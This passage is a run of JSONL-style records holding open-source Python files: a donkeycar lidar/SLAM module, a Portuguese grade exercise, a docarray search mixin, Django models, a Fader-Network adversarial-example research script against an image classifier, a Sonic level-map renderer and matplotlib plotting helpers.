self.rad) + center[0])\n ey = round(math.sin(theta) * (dist + 2 * self.rad) + center[1])\n fill = 128\n\n draw.ellipse((min(sx, ex), min(sy, ey), max(sx, ex), max(sy, ey)), fill=(fill, fill, fill))\n\n def plot_scan(self, img, distances, angles, max_dist, draw):\n for dist, angle in zip(distances, angles):\n self.plot_fn(img, dist, angle, max_dist, draw)\n \n def run(self, distances, angles):\n '''\n takes two lists of equal length, one of distance values, the other of angles corresponding to the dist meas \n '''\n self.frame = Image.new('RGB', self.resolution, (255, 255, 255))\n draw = ImageDraw.Draw(self.frame)\n self.plot_scan(self.frame, distances, angles, self.max_dist, draw)\n return self.frame\n\n def shutdown(self):\n pass\n\n\nclass BreezySLAM(object):\n '''\n https://github.com/simondlevy/BreezySLAM\n '''\n def __init__(self, MAP_SIZE_PIXELS=500, MAP_SIZE_METERS=10):\n from breezyslam.algorithms import RMHC_SLAM\n from breezyslam.sensors import Laser\n\n laser_model = Laser(scan_size=360, scan_rate_hz=10., detection_angle_degrees=360, distance_no_detection_mm=12000)\n MAP_QUALITY=5\n self.slam = RMHC_SLAM(laser_model, MAP_SIZE_PIXELS, MAP_SIZE_METERS, MAP_QUALITY)\n \n def run(self, distances, angles, map_bytes):\n \n self.slam.update(distances, scan_angles_degrees=angles)\n x, y, theta = self.slam.getpos()\n\n if map_bytes is not None:\n self.slam.getmap(map_bytes)\n\n #print('x', x, 'y', y, 'theta', norm_deg(theta))\n return x, y, deg2rad(norm_deg(theta))\n\n def shutdown(self):\n pass\n\n\n\nclass BreezyMap(object):\n '''\n bitmap that may optionally be constructed by BreezySLAM\n '''\n def __init__(self, MAP_SIZE_PIXELS=500):\n self.mapbytes = bytearray(MAP_SIZE_PIXELS * MAP_SIZE_PIXELS)\n\n def run(self):\n return self.mapbytes\n\n def shutdown(self):\n pass\n\nclass MapToImage(object):\n\n def __init__(self, resolution=(500, 500)):\n self.resolution = resolution\n\n def run(self, map_bytes):\n np_arr = np.array(map_bytes).reshape(self.resolution)\n return arr_to_img(np_arr)\n\n def shutdown(self):\n pass\n\n", "source": "bo-rc/donkeycar", "license": "MIT"} {"text": "# Exerc\u00edcio Python 105: Analisando e gerando Dicion\u00e1rios\n# Fa\u00e7a um programa que tenha uma fun\u00e7\u00e3o notas() que pode receber v\u00e1rias notas de alunos\n# e vai retornar um dicion\u00e1rio com as seguintes informa\u00e7\u00f5es:\n#\n# - Quantidade de notas\n# - A maior nota\n# - A menor nota\n# - A m\u00e9dia da turma\n# - A situa\u00e7\u00e3o (opcional)\n#\n# Adicione tamb\u00e9m as docstrings dessa fun\u00e7\u00e3o para consulta pelo desenvolvedor.\n\ndef notas(notas, situacao=True):\n \"\"\"\n -> Recebe v\u00e1rias notas de uma turma, faz uma an\u00e1lise dessas informa\u00e7\u00f5es e retorna um Dicion\u00e1rio com elas.\n\n :param notas: (Obrigat\u00f3rio) V\u00e1rias Notas de alunos podem ser digitadas para a an\u00e1lise\n\n :param situacao: (Opcional) True ou False, False por padr\u00e3o\n voc\u00ea escolhe se deseja que o dicion\u00e1rio contenha a an\u00e1lise subjetiva da turma\n\n :return: Retorna um Dicion\u00e1rio com as informa\u00e7\u00f5es:\n - Maior Nota\n - Menor Nota\n - M\u00e9dia da Turma\n - A Situa\u00e7\u00e3o da Turma (Opcional): Ruim, Regular, Boa\n \"\"\"\n\n dicionario_de_alunos = dict()\n sit = \"\"\n maior = menor = media = total = 0\n\n for contador, nota in enumerate(notas):\n if contador == 0:\n menor = nota\n maior = nota\n if nota > maior:\n maior = nota\n if nota < menor:\n menor = nota\n total += nota\n\n media = total / len(notas)\n\n dicionario_de_alunos = {\n \"Quantidade de Notas\": len(notas),\n \"Maior Nota\": maior,\n \"Menor Nota\": menor,\n \"M\u00e9dia da Turma\": media\n }\n\n if media >= 7:\n sit = \"Boa\"\n elif 5 <= media < 7:\n sit = \"Regular\"\n elif media < 5:\n sit = \"Ruim\"\n\n if situacao == False:\n return dicionario_de_alunos\n\n if situacao == True:\n dicionario_de_alunos[\"Situa\u00e7\u00e3o\"] = sit\n return dicionario_de_alunos\n\n\nnotas_alunos = list()\n\nwhile True:\n numero = float(input(\"Digite as notas dos alunos (999 para parar): \"))\n if numero == 999:\n break\n notas_alunos.append(numero)\nsituacao = str(input(\"Quer Mostrar a Situa\u00e7\u00e3o das notas ? [S/N]\")).strip().upper()[0]\nwhile situacao not in 'SN':\n situacao = str(input(\"Quer Mostrar a Situa\u00e7\u00e3o das notas ? [S/N]\")).strip().upper()[0]\nif situacao == 'S':\n situacao = True\nelif situacao == 'N':\n situacao = False\n\nprint(notas(notas_alunos, situacao))\n", "source": "erickeloi/ExerciciosTreino", "license": "MIT"} {"text": "import abc\nfrom typing import overload, Optional, Union, Dict, List, Tuple, Callable, TYPE_CHECKING\n\nimport numpy as np\n\nfrom ...math import ndarray\nfrom ...score import NamedScore\n\nif TYPE_CHECKING:\n from ...types import T, ArrayType\n\n from ... import Document, DocumentArray\n\n\nclass FindMixin:\n \"\"\"A mixin that provides find functionality to DocumentArrays\n\n Subclass should override :meth:`._find` not :meth:`.find`.\n \"\"\"\n\n @overload\n def find(self: 'T', query: 'ArrayType', **kwargs):\n ...\n\n @overload\n def find(self: 'T', query: Union['Document', 'DocumentArray'], **kwargs):\n ...\n\n @overload\n def find(self: 'T', query: Dict, **kwargs):\n ...\n\n @overload\n def find(self: 'T', query: str, **kwargs):\n ...\n\n def find(\n self: 'T',\n query: Union['DocumentArray', 'Document', 'ArrayType'],\n metric: Union[\n str, Callable[['ArrayType', 'ArrayType'], 'np.ndarray']\n ] = 'cosine',\n limit: Optional[Union[int, float]] = 20,\n metric_name: Optional[str] = None,\n exclude_self: bool = False,\n only_id: bool = False,\n **kwargs,\n ) -> Union['DocumentArray', List['DocumentArray']]:\n \"\"\"Returns approximate nearest neighbors given an input query.\n\n :param query: the input query to search by\n :param limit: the maximum number of matches, when not given defaults to 20.\n :param metric_name: if provided, then match result will be marked with this string.\n :param metric: the distance metric.\n :param exclude_self: if set, Documents in results with same ``id`` as the query values will not be\n considered as matches. This is only applied when the input query is Document or DocumentArray.\n :param only_id: if set, then returning matches will only contain ``id``\n :param kwargs: other kwargs.\n\n :return: a list of DocumentArrays containing the closest Document objects for each of the queries in `query`.\n \"\"\"\n\n from ... import Document, DocumentArray\n\n if limit is not None:\n if limit <= 0:\n raise ValueError(f'`limit` must be larger than 0, receiving {limit}')\n else:\n limit = int(limit)\n\n _limit = len(self) if limit is None else (limit + (1 if exclude_self else 0))\n\n if isinstance(query, (DocumentArray, Document)):\n\n if isinstance(query, Document):\n query = DocumentArray(query)\n\n _query = query.embeddings\n else:\n _query = query\n\n _, _ = ndarray.get_array_type(_query)\n n_rows, n_dim = ndarray.get_array_rows(_query)\n\n # Ensure query embedding to have the correct shape\n if n_dim != 2:\n _query = _query.reshape((n_rows, -1))\n\n metric_name = metric_name or (metric.__name__ if callable(metric) else metric)\n\n kwargs.update(\n {\n 'limit': _limit,\n 'only_id': only_id,\n 'metric': metric,\n 'metric_name': metric_name,\n }\n )\n\n _result = self._find(\n _query,\n **kwargs,\n )\n\n result: List['DocumentArray']\n\n if isinstance(_result, list) and isinstance(_result[0], DocumentArray):\n # already auto-boxed by the storage backend, e.g. pqlite\n result = _result\n elif (\n isinstance(_result, tuple)\n and isinstance(_result[0], np.ndarray)\n and isinstance(_result[1], np.ndarray)\n ):\n # do autobox for Tuple['np.ndarray', 'np.ndarray']\n dist, idx = _result\n result = []\n\n for _ids, _dists in zip(idx, dist):\n matches = DocumentArray()\n for _id, _dist in zip(_ids, _dists):\n # Note, when match self with other, or both of them share the same Document\n # we might have recursive matches .\n # checkout https://github.com/jina-ai/jina/issues/3034\n if only_id:\n d = Document(id=self[_id].id)\n else:\n d = Document(self[int(_id)], copy=True) # type: Document\n\n # to prevent self-reference and override on matches\n d.pop('matches')\n\n d.scores[metric_name] = NamedScore(value=_dist)\n matches.append(d)\n if len(matches) >= _limit:\n break\n result.append(matches)\n else:\n raise TypeError(\n f'unsupported type `{type(_result)}` returned from `._find()`'\n )\n\n if exclude_self and isinstance(query, DocumentArray):\n for i, q in enumerate(query):\n matches = result[i].traverse_flat('r', filter_fn=lambda d: d.id != q.id)\n if limit and len(matches) > limit:\n result[i] = matches[:limit]\n else:\n result[i] = matches\n\n if len(result) == 1:\n return result[0]\n else:\n return result\n\n @abc.abstractmethod\n def _find(\n self, query: 'ArrayType', limit: int, **kwargs\n ) -> Tuple['np.ndarray', 'np.ndarray']:\n raise NotImplementedError\n", "source": "fastflair/docarray", "license": "Apache-2.0"} {"text": "from util.util import autoregister\n\nautoregister('lrs')", "source": "ELSUru/ADL_LRS", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .base import NameProvider\nfrom .base import PROVIDERS\nfrom vor.human import Gender\nfrom py_utilities.decorators import run_once\nimport os\nimport random\n\n\nclass Census1990Provider(NameProvider):\n\n KEYS = {\n 'provider': 'Census1990',\n 'm_first': 'male:first_name',\n 'f_first': 'female:first_name',\n 'last': 'all:last_name'\n }\n\n def __init__(self):\n super(Census1990Provider, self).__init__()\n self.load_provider_data()\n\n @run_once\n def load_provider_data(self):\n for (data_source_path, key) in self._get_data_source_keys():\n names = []\n with open(data_source_path) as data_file:\n for line in data_file:\n name, _, _, _ = line.split()\n names.append(name.upper())\n PROVIDERS[self._get_prefixed_key(key)] = names\n\n def get_first_name(self, gender):\n key = self._get_first_name_key_from_gender(gender)\n return random.choice(PROVIDERS[key]).title()\n\n def get_last_name(self):\n key = self._get_last_name_key()\n return random.choice(PROVIDERS[key]).title()\n\n def _get_prefixed_key(self, key):\n return \"{0}:{1}\".format(self.KEYS['provider'], key)\n\n def _get_first_name_key_from_gender(self, gender):\n if gender == Gender.Male:\n return self._get_prefixed_key(self.KEYS['m_first'])\n elif gender == Gender.Female:\n return self._get_prefixed_key(self.KEYS['f_first'])\n else:\n raise ValueError(\"Unsupported value in gender enum\")\n\n def _get_last_name_key(self):\n return self._get_prefixed_key(self.KEYS['last'])\n\n def _get_data_source_keys(self):\n cwd = os.path.dirname(os.path.realpath(__file__))\n full_path = lambda x: os.path.join(cwd, x)\n source_keys = [\n ('../../data/1990_census/dist.all.last', self.KEYS['last']),\n ('../../data/1990_census/dist.male.first', self.KEYS['m_first']),\n ('../../data/1990_census/dist.female.first', self.KEYS['f_first'])\n ]\n return [(full_path(source), keys) for source, keys in source_keys]\n\n# vim: filetype=python\n", "source": "ryankanno/vor", "license": "MIT"} {"text": "import json\n# Pattern (and code) taken from:\n# https://gist.github.com/mivade/384c2c41c3a29c637cb6c603d4197f9f\nFILE_SPECIFIER = 'file://'\n\n\ndef argument(*name_or_flags, **kwargs):\n \"\"\"Convenience function to properly format arguments to pass to the\n subcommand decorator.\n \"\"\"\n args = list()\n for arg in name_or_flags:\n args.append(arg)\n return args, kwargs\n\n\ndef subcommand(args, parent, **kwargs):\n def decorator(func):\n parser = parent.add_parser(\n func.__name__.replace('_', '-'),\n description=func.__doc__,\n **kwargs)\n for arg in args:\n parser.add_argument(*arg[0], **arg[1])\n parser.set_defaults(func=func)\n return func\n\n return decorator\n\n\n_internal_arg_names = ['func', 'subcommand', 'identifier']\n\n\ndef clear_internal_args(args):\n for arg_name in _internal_arg_names:\n try:\n args.pop(arg_name)\n except KeyError:\n pass # Its ok if the key is not in the list to be cleared\n return args\n\n\ndef load_metadata(argument):\n metadata = {}\n if argument.startswith(FILE_SPECIFIER):\n fname = argument.replace(FILE_SPECIFIER, '')\n with open(fname) as f:\n metadata = json.loads(f.read())\n else:\n metadata = json.loads(argument)\n return metadata\n\n\ndef set_checksum_args(arguments):\n \"\"\"\n Argparse parses checksums as {'checksum_sha256': ''}\n\n Return a list of these arguments in a format the Identifiers Service\n understands:\n\n \"checksums\": [\n {\n \"function\": \"md5\",\n \"value\": \"fobarbas\"\n },\n {\n \"function\": \"sha256\",\n \"value\": \"foobarbaz\"\n }\n ],\n\n Note: This modifies the values in 'arguments'\n \"\"\"\n checksum_args = [\n {'function': arg_name.replace('checksum_', '').replace('_', '-'),\n 'value': arguments.pop(arg_name)}\n for arg_name in list(arguments.keys())\n if arg_name.startswith('checksum') and arguments[arg_name] is not None\n ]\n if checksum_args:\n arguments['checksums'] = checksum_args\n return arguments\n\n\ndef parse_none_values(values, none_value='None'):\n options = {}\n for option_name, option_value, option_none_value in values:\n if isinstance(option_value, str) and option_value == none_value:\n options[option_name] = option_none_value\n elif isinstance(option_value, list) and option_value == [none_value]:\n options[option_name] = option_none_value\n elif option_value:\n options[option_name] = option_value\n return options\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from force_bdss.api import BaseDataSourceFactory\n\nfrom .micelle_model import MicelleDataSourceModel\nfrom .micelle_data_source import MicelleDataSource\n\n\nclass MicelleFactory(BaseDataSourceFactory):\n\n def get_identifier(self):\n return \"micelle\"\n\n def get_name(self):\n return \"Micelle Aggregation Calculator\"\n\n def get_model_class(self):\n return MicelleDataSourceModel\n\n def get_data_source_class(self):\n return MicelleDataSource\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"} {"text": "from django.db import models\n\n# Create your models here.\n\nfrom django.db import models\nfrom datetime import datetime\n\n\nclass User(models.Model):\n name = models.CharField(max_length=100)\n surname = models.CharField(max_length=100)\n email = models.EmailField(unique=True)\n password = models.CharField(max_length=128)\n created = models.DateTimeField('Created', default=datetime.now)\n", "source": "lizooo/webpage", "license": "MIT"} {"text": "import sys, os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.callbacks import Callback, ReduceLROnPlateau, TerminateOnNaN, ModelCheckpoint\nimport tensorflow.keras.backend as K\nimport tensorflow as tf\nimport time\n\n###### Callbacks\n# Create a callback to compute time spent between 10th and 110th epoch\nclass time_callback(Callback):\n def __init__(self):\n '''\n Compute time spent between 10th and 110th epoch\n '''\n self.epoch = 1\n self.t1 =0\n self.t2 = 0\n \n def on_epoch_end(self, epoch, t1):\n if (self.epoch == 10):\n self.t1 =time.time()\n print('t1: '+str(self.t1))\n elif (self.epoch == 110):\n self.t2 = time.time()\n print('t2: '+str(self.t2))\n print('for 100 epochs from 10 to 110: '+str(self.t2 - self.t1))\n self.epoch +=1", "source": "BastienArcelin/IPU-GPU", "license": "BSD-3-Clause"} {"text": "\"\"\"\nAttacking the model using a Fader Network\nNote: We are basically searching for the interpolation values\nwhich allow us to break a simple classifier. \n\"\"\"\n\nimport argparse\nimport json\nimport logging\nimport os\nfrom collections import OrderedDict\nfrom datetime import datetime\n\nimport numpy as np\nimport torch\nimport torchvision\nfrom matplotlib import pyplot as plt\nfrom torch import nn\nfrom tqdm import tqdm\n\nfrom FaderNetworks.src.model import AutoEncoder\nfrom simple_classifier import Classifier, get_data_loader, restore_model\nfrom utils import get_logger\nfrom losses import attack_cw_l2, nontarget_logit_loss\n\n_LEGACY_STATE_DICT_PATCH = OrderedDict([(\"enc_layers.1.1.num_batches_tracked\", 1), (\"enc_layers.2.1.num_batches_tracked\", 1),\n (\"enc_layers.3.1.num_batches_tracked\",\n 1), (\"enc_layers.4.1.num_batches_tracked\", 1),\n (\"enc_layers.5.1.num_batches_tracked\",\n 1), (\"enc_layers.6.1.num_batches_tracked\", 1),\n (\"dec_layers.0.1.num_batches_tracked\",\n 1), (\"dec_layers.1.1.num_batches_tracked\", 1),\n (\"dec_layers.2.1.num_batches_tracked\",\n 1), (\"dec_layers.3.1.num_batches_tracked\", 1),\n (\"dec_layers.4.1.num_batches_tracked\", 1), (\"dec_layers.5.1.num_batches_tracked\", 1)])\n# torch.nn.Module.dump_patches=True\n\n\nclass ModAlpha(nn.Module):\n \"\"\"\n Workaround class for constructing alpha\n \"\"\"\n\n def __init__(self, alpha1, alpha2, alpha3):\n super(ModAlpha, self).__init__()\n self.a1 = torch.tensor(alpha1, requires_grad=True)\n self.a2 = torch.tensor(alpha2, requires_grad=True)\n self.a3 = torch.tensor(alpha3, requires_grad=True)\n\n def forward(self):\n a1 = torch.stack([self.a1, torch.tensor(0.)])\n a1_ = torch.stack([torch.tensor(0.), self.a1])\n alpha1 = torch.tensor([1., 0.]) - a1 + a1_\n a2 = torch.stack([self.a2, torch.tensor(0.)])\n a2_ = torch.stack([torch.tensor(0.), self.a2])\n alpha2 = torch.tensor([1., 0.]) - a2 + a2_\n a3 = torch.stack([self.a3, torch.tensor(0.)])\n a3_ = torch.stack([torch.tensor(0.), self.a3])\n alpha3 = torch.tensor([1., 0.]) - a3 + a3_\n return torch.cat([alpha1, alpha2, alpha3]).unsqueeze(0)\n\n\nclass Attacker(nn.Module):\n \"\"\"\n Defines a attack system which can be optimized.\n Input passes through a pretrained fader network for modification.\n Input -> (Fader network) -> (Target model) -> Classification label\n\n Since Fader network requires that the attribute vector elements (alpha_i) be converted to (alpha_i, 1-alpha_i),\n we use the Mod alpha class to handle this change while preserving gradients.\n \"\"\"\n\n def __init__(self, params):\n super(Attacker, self).__init__()\n self.params = params\n self.target_model = Classifier(\n (params.img_sz, params.img_sz, params.img_fm))\n self.adv_generator = AutoEncoder(params)\n self.attrib_gen = ModAlpha(0., 0., 0.)\n\n def restore(self, legacy=False):\n self.target_model.load_state_dict(torch.load(self.params.model))\n if legacy:\n old_model_state_dict = torch.load(self.params.fader)\n old_model_state_dict.update(_LEGACY_STATE_DICT_PATCH)\n model_state_d = old_model_state_dict\n else:\n model_state_d = torch.load(self.params.fader)\n self.adv_generator.load_state_dict(model_state_d, strict=False)\n\n def forward(self, x, attrib_vector=None):\n self.attrib_vec = self.attrib_gen()\n l_z = self.adv_generator.encode(x)\n recon = self.adv_generator.decode(l_z, self.attrib_vec)[-1]\n cl_label = self.target_model(recon)\n return recon, cl_label\n\n\ndef build_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-m', '--model', help='Path to the model to be attacked. As of now, we will use models trained with the simple_classifier script', required=True)\n parser.add_argument(\n '-f', '--fader', help='Path to fader networks. Use one of the many Fader networks trained', required=True)\n parser.add_argument(\n '-o', '--outdir', help='Output directory', default='out', required=False)\n parser.add_argument('-d', '--data_dir',\n help='Path to data directory', required=True)\n parser.add_argument('-a', '--attrib_path',\n help='Path to attrib file', required=True)\n parser.add_argument('-t', '--type', help='Attack type: \\n\\t cw: Carlini-Wagner L2 attack \\n\\t fn: Fader Network based attack',\n choices=['cw', 'fn'], default='fn')\n return parser\n\n\ndef attack_linearly(img, model, attrib_tuple, device):\n # Just run a linear search of alpha\n model.eval()\n img = img.to(device)\n attrib = [1-attrib_tuple[0], attrib_tuple[0]]\n attrib_step = 1e-3\n recon_imgs = []\n true_label = torch.argmax(model.target_model(img))\n breaks = []\n pred_values = []\n cnt = 0\n alphas = np.arange(attrib_tuple[0], attrib_tuple[1], attrib_step)\n print(alphas)\n recons = []\n b_recons = []\n for alpha in alphas:\n attrib = torch.tensor([1-alpha, alpha]).unsqueeze(0).to(device)\n recon, pred = model(img, attrib)\n if torch.argmax(pred) != true_label:\n breaks.append(1)\n recons.append(np.hstack([img[0].detach().cpu().numpy().transpose(\n (1, 2, 0)), recon[0].detach().cpu().numpy().transpose((1, 2, 0))]))\n else:\n breaks.append(0)\n b_recons.append(np.hstack([img[0].detach().cpu().numpy().transpose(\n (1, 2, 0)), recon[0].detach().cpu().numpy().transpose((1, 2, 0))]))\n cnt += 1\n if len(recons) != 0:\n recon2 = np.vstack(recons[:5])\n else:\n recon2 = np.vstack(b_recons[-5:])\n recon3 = np.vstack(b_recons[:5])\n return breaks, pred_values, recon2, recon3\n\ndef attack_binarily(img, model, attrib_tuple, device, logger):\n \"\"\" Currently assuming that the alpha value of the attribute is positive.\n # Binary search only works for a single attribute\n # Binary search for alpha\n \"\"\"\n model.eval()\n img = img.to(device)\n true_label = torch.argmax(model.target_model(img))\n attrib_left = torch.tensor(\n [1-attrib_tuple[0], attrib_tuple[0]]).unsqueeze(0).to(device)\n attrib_right = torch.tensor(\n [1-attrib_tuple[1], attrib_tuple[1]]).unsqueeze(0).to(device)\n recon_left, pred_recon_left = model(img, attrib_left)\n recon_right, pred_recon_right = model(img, attrib_right)\n pred_recon_left = torch.argmax(pred_recon_left)\n pred_recon_right = torch.argmax(pred_recon_right)\n\n if pred_recon_left == true_label and pred_recon_right == true_label:\n logger.info('Higher max value required')\n attrib_left = attrib_right\n attrib_right = attrib_right*2\n elif pred_recon_left != true_label and pred_recon_right != true_label:\n logger.info('Lower min value required')\n attrib_right = attrib_left\n attrib_left = attrib_left/2.0\n perm_attrib = attrib_right[0, 1]\n attrib = attrib_left + (attrib_right - attrib_left)/2.0\n cnt = 0\n max_iter = 10000\n while np.abs(attrib_left[0, 1].cpu().numpy() - attrib_right[0, 1].cpu().numpy()) > 1e-3:\n logger.info('Num_iter:{}, alpha:{}'.format(\n cnt, attrib[0, 1].cpu().numpy()))\n if cnt > max_iter:\n break\n recon_attrib, pred_attrib = model(img, attrib)\n label_attrib = torch.argmax(pred_attrib)\n if label_attrib != true_label:\n logger.info('Broken at least once, {}, {}'.format(\n true_label, label_attrib))\n attrib_right = attrib\n if np.abs(attrib[0, 1]) - np.abs(perm_attrib) <= 0:\n perm_attrib = attrib[0, 1]\n #attrib_left = attrib\n else:\n attrib_left = attrib\n attrib = attrib_left + (attrib_right - attrib_left)/2.0\n cnt += 1\n\n recon_attrib, pred_attrib = model(img, torch.tensor(\n [1-perm_attrib, perm_attrib]).unsqueeze(0).to(device))\n label_attrib = torch.argmax(pred_attrib)\n logger.info('True_label:{}, pred_label:{}'.format(\n true_label, label_attrib))\n return perm_attrib, recon_attrib, true_label, label_attrib\n\n\ndef main():\n parser = build_parser()\n args = parser.parse_args()\n if not os.path.exists(args.outdir):\n os.makedirs(args.outdir)\n\n args.logger = get_logger(args.outdir)\n args.gen = torch.load(args.fader)\n # Issue: Since Fader Network guys store the entrie model, it assumes certain paths.\n # We try to fix it by saving only the weights (state_dict) using mod_fader_network.py\n # Therefore, we need to reconstruct the model using the parameters.\n args.img_sz = 256\n args.img_fm = 3\n args.init_fm = 32\n args.max_fm = 512\n args.n_layers = 7\n args.n_attr = 6\n args.n_skip = 0\n args.dec_dropout = 0.0\n args.deconv_method = 'convtranspose'\n args.attr = [('Eyeglasses', 2)]\n args.instance_norm = False\n\n args.batch_size = 1\n args.train_attribute = 'Male'\n # Minor bug with storing the model is creating this issue. Anyway, there is not much speedup with cuda\n device = torch.device('cpu')\n # Data Loader\n loader = get_data_loader(args, train='test', shuffle=False)\n\n cnt = 0\n f = open(os.path.join(args.outdir, 'vals.csv'), 'w')\n full_logits = []\n for input, label in tqdm(loader, total=len(loader)):\n attacker = Attacker(args).to(device)\n attacker.restore()\n if cnt > 500:\n break\n if args.type == 'fn':\n success, out_img, alpha, orig_logits, logits, loss, logit_array = attack_optim(\n input, attacker, [(-1.5, 1.75), (-2, 3), (-6, 7)], device, args.logger)\n elif args.type == 'cw':\n success, out_img, alpha, orig_logits, logits, loss, logit_array = attack_cw_l2(\n input, attacker, 0.5, device, args.logger)\n\n print('Loss:{}'.format(loss))\n if success:\n plt.imshow(out_img)\n plt.title('alpha:{}'.format(alpha))\n plt.savefig(os.path.join(\n args.outdir, '{}_broken.png'.format(str(cnt))))\n else:\n plt.imshow(out_img)\n plt.title('unbroken_alpha:{}'.format(alpha))\n plt.savefig(os.path.join(\n args.outdir, '{}_unbroken.png'.format(str(cnt))))\n np.save(os.path.join(args.outdir, '{}.npy'.format(str(cnt))), out_img)\n print(loss.shape)\n out_dict = {'success': success, 'orig_logits': orig_logits[0].tolist(\n ), 'logits': logits[0].tolist(), 'alpha': alpha[0].tolist(), 'loss': loss.tolist(), 'logit_array': logit_array}\n outstr = json.dumps(out_dict)\n f.write(outstr+'\\n')\n cnt += 1\n f.close()\n\n\nif __name__ == '__main__':\n main()\n", "source": "ameya005/Semantic_Adversarial_Attacks", "license": "MIT"} {"text": "import datetime\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.contrib.sessions.models import Session\n\nclass Guest(models.Model):\n \n \"\"\"\n A temporary user.\n\n Fields:\n ``user`` - The temporary user.\n ``last_used`` - The last time we noted this user doing something.\n \n All users with a record in this model are temporary and should be\n deleted after GUEST_DELETE_TIME.\n \n \"\"\"\n\n user = models.ForeignKey(User,on_delete=models.CASCADE)\n last_used = models.DateTimeField(User)\n\n @classmethod\n def create_guest(self, user):\n guest = Guest(user=user, last_used=datetime.datetime.now())\n return guest\n", "source": "TylerBackman/chemminetools", "license": "BSD-4-Clause-UC"} {"text": "#!/usr/bin/python\n\nimport sys\nimport retro\nimport numpy as np\nfrom os import listdir\nfrom os.path import isfile, join, isdir, dirname, realpath\nfrom PIL import Image\n\n\n# find level maps here: http://info.sonicretro.org/Sonic_the_Hedgehog_(16-bit)_level_maps\nmp = Image.open(dirname(realpath(__file__))+\"/01.PNG\")\nmp.load()\nlevel_map =np.array(mp.convert(mode='RGB'), dtype=\"uint8\" )\nhf = 10 # highlight factor\n\ndef render(file):\n movie = retro.Movie(file)\n movie.step()\n env = retro.make(game=movie.get_game(), state=retro.STATE_NONE, use_restricted_actions=retro.ACTIONS_ALL)\n env.initial_state = movie.get_state()\n env.reset()\n while movie.step():\n keys = []\n for i in range(env.NUM_BUTTONS):\n keys.append(movie.get_key(i))\n _obs, _rew, _done, _info = env.step(keys)\n y = _info['y']\n x = _info['x']\n\n highlight = [[[min(x[0][0]+hf,255), min(x[0][1]+hf,255), min(x[0][2]+hf,255)],\n [min(x[1][0]+hf,255), min(x[1][1]+hf,255), min(x[1][2]+hf,255)],\n [min(x[2][0]+hf,255), min(x[2][1]+hf,255), min(x[2][2]+hf,255)],\n [min(x[3][0]+hf,255), min(x[3][1]+hf,255), min(x[3][2]+hf,255)],\n [min(x[4][0]+hf,255), min(x[4][1]+hf,255), min(x[4][2]+hf,255)],\n [min(x[5][0]+hf,255), min(x[5][1]+hf,255), min(x[5][2]+hf,255)],\n [min(x[6][0]+hf,255), min(x[6][1]+hf,255), min(x[6][2]+hf,255)],\n [min(x[7][0]+hf,255), min(x[7][1]+hf,255), min(x[7][2]+hf,255)],\n ] for x in level_map[y:(y+8), x:(x+8)]]\n\n level_map[y:(y+8), x:(x+8)] = highlight\n\n env.close()\n\nif isdir(sys.argv[1]):\n onlyfiles = [f for f in listdir(sys.argv[1]) if isfile(join(sys.argv[1], f))]\n onlyfiles.sort()\n c = 0\n for file in onlyfiles:\n if \".bk2\" in file :\n print('playing', file)\n render(sys.argv[1]+file)\n if c % 5==0:\n lm = Image.fromarray(level_map)\n lm.save('levelmapv9.jpeg')\n c+=1\n lm.show()\nelse:\n print('playing', sys.argv[1])\n render(sys.argv[1])\n lm = Image.fromarray(level_map)\n # lm.save('levelmap.jpeg')\n lm.show()\n", "source": "tristansokol/Bobcats", "license": "MIT"} {"text": "import matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\nfrom matplotlib import cm\nfrom matplotlib import gridspec\nfrom matplotlib import colors as mplcolors\n\nimport CBcm\nimport numpy as np\nimport util\n\nrcParams['svg.fonttype'] = 'none'\ndef makeColours( vals, cmapStr, returnDict=False ):\n colours = np.zeros( (len(vals),3) )\n origVals = np.copy( vals )\n if vals.max() > 1:\n vals = vals/vals.max()\n norm = mplcolors.Normalize( vmin=vals.min(), vmax=vals.max()*0.95 )\n else:\n norm = mplcolors.Normalize( vmin=vals.min(), vmax=vals.max()*0.95 )\n colours = [cm.ScalarMappable( norm=norm, cmap=cmapStr).to_rgba( val ) for val in vals]\n if returnDict:\n uniqueOrigVals = np.unique( origVals )\n uniqueVals = np.unique( vals )\n uniqueColours = [cm.ScalarMappable( norm=norm, cmap=cmapStr).to_rgba( val ) for val in uniqueVals]\n valColourDict = {}\n\n for (val,colour) in zip(uniqueOrigVals,uniqueColours):\n valColourDict[colour] = val \n \n return [colours, valColourDict]\n else:\n return colours\n\ndef manyErrorBarsPlot( x, yMeans, yStds, lineLevels, cmap=CBcm.CB2cm['YeBl'], xIsMean=False, cbarText='', xAxisText='', yAxisText='', titleText='', ylim=[], fontsize=10, plotCbar=True, ls='solid' ):\n if plotCbar:\n plt.figure()\n gs = mpl.gridspec.GridSpec(1, 2, width_ratios=[8, 1]) \n axes = [plt.subplot( gsAx ) for gsAx in gs]\n else:\n axes = [plt.gca()]\n \n if isinstance( lineLevels, list):\n lineLevels = np.array( lineLevels )\n\n colours = makeColours( lineLevels, cmap )\n if xIsMean:\n for idx in range(yMeans.shape[1]):\n axes[0].errorbar( x, yMeans[:,idx], yerr=yStds[:,idx], capthick=2, color=colours[idx], ms=2, marker='.', ls=ls )\n else:\n for idx in range(yMeans.shape[0]):\n axes[0].errorbar( x, yMeans[idx,:], yerr=yStds[idx,:], capthick=2, color=colours[idx], ms=2, marker='.', ls=ls )\n \n axes[0].set_xlabel( xAxisText, fontsize=fontsize )\n axes[0].set_ylabel( yAxisText, fontsize=fontsize )\n axes[0].set_title( titleText )\n if len(ylim) > 0:\n axes[0].set_ylim(ylim)\n\n if plotCbar:\n #norm = mpl.colors.Normalize( vmin=1, vmax=4 )\n norm = mpl.colors.Normalize( vmin=min(lineLevels), vmax=max(lineLevels) ) \n #norm = mpl.colors.LogNorm( vmin=), vmax=max(lineLevels) ) \n \n cbl = mpl.colorbar.ColorbarBase( axes[1], norm=norm, cmap=cmap, \n orientation='vertical', values=lineLevels )\n\n tickBoundaries = np.arange( len(lineLevels) )*1.0/len(lineLevels)\n tickBoundaries = np.append( tickBoundaries, 1 )\n tickLocs = []\n for idx in range(len(tickBoundaries)-1):\n tickLocs.append( 0.5 * (tickBoundaries[idx] + tickBoundaries[idx+1]))\n\n 